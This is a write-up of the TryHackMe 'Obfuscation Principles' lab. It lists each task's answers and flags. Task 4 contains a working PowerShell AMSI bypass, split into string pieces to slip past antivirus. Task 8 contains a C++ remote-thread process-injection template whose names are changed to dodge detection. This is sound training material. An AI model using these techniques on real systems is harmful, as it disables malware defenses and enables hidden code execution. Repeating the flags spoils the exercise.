Leverage tool-agnostic software obfuscation practices to hide malicious functions and create unique code.
THM Room https://tryhackme.com/room/obfuscationprinciples
TASK 1 : Introduction
Read the above and continue to the next task.
No Answer
TASK 2 : Origins of Obfuscation
How many core layers make up the Layered Obfuscation Taxonomy?
Per Layer Obfuscation Paper https://cybersecurity.springeropen.com/counter/pdf/10.1186/s42400-020-00049-3.pdf:
Answer : 4
What sub-layer of the Layered Obfuscation Taxonomy encompasses meaningless identifiers?
Answer : Obfuscating Layout
TASK 3 : Obfuscation’s Function for Static Evasion
What obfuscation method will break or split an object?
Answer : data splitting
What obfuscation method is used to rewrite static data with a procedure call?
Answer : data procedurization
TASK 4 : Object Concatenation
What flag is found after uploading a properly obfuscated snippet?
The following powershell snippet is detect as malicious :
1
2
3
4
5
6
7
PS C:\Users\Student> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
So i decide to break the command in multiple parts and test those with breaking methods. The first block of code doesn’t trigger the malicious content :
1
2
3
4
5
PS C:\Users\Student> [Ref].Assembly
GAC Version Location
--- ------- --------
True v4.0.30319 C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856...
Let’s add the first object call :
1
2
3
4
5
6
7
PS C:\Users\Student> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
And now with breaking parts for the String parameters :
1
2
3
4
5
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils')
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
False False AmsiUtils System.Object
It returns something non-blocked so i can repeat the step with the next call block :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic')
Name : amsiInitFailed
MetadataToken : 67114376
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static
FieldType : System.Boolean
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : False
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
Lastly, adding the “SetValue($null,$true)” return the error again and is detected as malicious. We can evade this by replacing the parameters by other variables :
1
2
3
PS C:\Users\Student> $x = $null
PS C:\Users\Student> $y = $true
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue($x,$y)
Not detected. Let’s submit this snippet to the webserver to get the flag :
evade.ps1 :
1
2
3
$x = $null
$y = $true
[Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue(x,y)
Answer : THM{koNC473n473_4Ll_7H3_7H1n95}
TASK 5 : Obfuscation’s Function for Analysis Deception
What are junk instructions referred to as in junk code?
Answer : code stubs
What obfuscation layer aims to confuse an analyst by manipulating the code flow and abstract syntax trees?
Answer : obfuscating controls
TASK 6 : Code Flow and Logic
Can logic change and impact the control flow of a program? (T/F)
“To make this concept concrete, we can observe an example function and its corresponding CFG (Control Flow Graph) to depict it’s possible control flow paths.”
1
2
3
4
5
x = 10
if(x > 7):
print("This executes")
else:
print("This is ignored")
Answer : T
TASK 7 : Arbitrary Control Flow Patterns
What flag is found after properly reversing the provided snippet?
After doing some iteration to understand the logic flow, we can add the code snippet in a python script and run it :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\test\Downloads>python3 challenge2.py
T
H
M
{
D
3
c
o
d
3
d
!
!
!
}
Answer : THM{D3cod3d!!!}
TASK 8 : Protecting and Stripping Identifiable Information
What flag is found after uploading a properly obfuscated snippet?
First, recreate the challenge-8.cpp file :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@ip-10-10-107-112:~/Desktop# cat challenge-8.cpp
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
Then we need to compile this with MingW32-G++. I checked for the syntax to used and found the the call to x86_64-w64-mingw32-g++ as a command. We can now look at the help :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ --help
Usage: x86_64-w64-mingw32-g++ [options] file...
Options:
-pass-exit-codes Exit with highest error code from a phase.
--help Display this information.
--target-help Display target specific command line options.
--help={common|optimizers|params|target|warnings|[^]{joined|separate|undocumented}}[,...].
Display specific types of command line options.
(Use '-v --help' to display command line options of sub-processes).
--version Display compiler version information.
-dumpspecs Display all of the built in spec strings.
-dumpversion Display the version of the compiler.
-dumpmachine Display the compiler's target processor.
-print-search-dirs Display the directories in the compiler's search path.
-print-libgcc-file-name Display the name of the compiler's companion library.
-print-file-name=<lib> Display the full path to library <lib>.
-print-prog-name=<prog> Display the full path to compiler component <prog>.
-print-multiarch Display the target's normalized GNU triplet, used as
a component in the library path.
-print-multi-directory Display the root directory for versions of libgcc.
-print-multi-lib Display the mapping between command line options and
multiple library search directories.
-print-multi-os-directory Display the relative path to OS libraries.
-print-sysroot Display the target libraries directory.
-print-sysroot-headers-suffix Display the sysroot suffix used to find headers.
-Wa,<options> Pass comma-separated <options> on to the assembler.
-Wp,<options> Pass comma-separated <options> on to the preprocessor.
-Wl,<options> Pass comma-separated <options> on to the linker.
-Xassembler <arg> Pass <arg> on to the assembler.
-Xpreprocessor <arg> Pass <arg> on to the preprocessor.
-Xlinker <arg> Pass <arg> on to the linker.
-save-temps Do not delete intermediate files.
-save-temps=<arg> Do not delete intermediate files.
-no-canonical-prefixes Do not canonicalize paths when building relative
prefixes to other gcc components.
-pipe Use pipes rather than intermediate files.
-time Time the execution of each subprocess.
-specs=<file> Override built-in specs with the contents of <file>.
-std=<standard> Assume that the input sources are for <standard>.
--sysroot=<directory> Use <directory> as the root directory for headers
and libraries.
-B <directory> Add <directory> to the compiler's search paths.
-v Display the programs invoked by the compiler.
-### Like -v but options quoted and commands not executed.
-E Preprocess only; do not compile, assemble or link.
-S Compile only; do not assemble or link.
-c Compile and assemble, but do not link.
-o <file> Place the output into <file>.
-pie Create a position independent executable.
-shared Create a shared library.
-x <language> Specify the language of the following input files.
Permissible languages include: c c++ assembler none
'none' means revert to the default behavior of
guessing the language based on the file's extension.
Options starting with -g, -f, -m, -O, -W, or --param are automatically
passed on to the various sub-processes invoked by x86_64-w64-mingw32-g++. In order to pass
other options on to these processes the -W<letter> options must be used.
For bug reporting instructions, please see:
<https://gcc.gnu.org/bugs/>.
We can try with the general usage form and adding the -o for setting up the output file name as challenge-8.exe :
1
2
3
4
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe
root@ip-10-10-107-112:~/Desktop# ls
'Additional Tools' challenge-8.cpp challenge-8.execlear reverse.exe
chal2.py challenge-8.exe mozo-made-15.desktop Tools
When uploading this to the webserver the payload failed :
We can try to redo the previous step after obfuscate the cpp file changing all variables names :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ip-10-10-107-112:~/Desktop# cat challenge-8.cpp
#include "windows.h"
using namespace std;
int main(int argc, char* argv[])
{
unsigned char slce[] = "";
HANDLE pshe;
HANDLE retd;
PVOID rebr;
pshe = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rebr = VirtualAllocEx(pshe, NULL, sizeof slce, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pshe, rebr, slce, sizeof slce, NULL);
retd = CreateRemoteThread(pshe, NULL, 0, (LPTHREAD_START_ROUTINE)rebr, NULL, 0, NULL);
CloseHandle(pshe);
return 0;
}
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe
root@ip-10-10-107-112:~/Desktop# ls | grep "challenge-8"
challenge-8.cpp
challenge-8.exe
And this time it’s works :
Answer : THM{Y0Ur_1NF0_15_M1N3}
TASK 9 : Conclusion
Read the above and continue learning!
No Answer.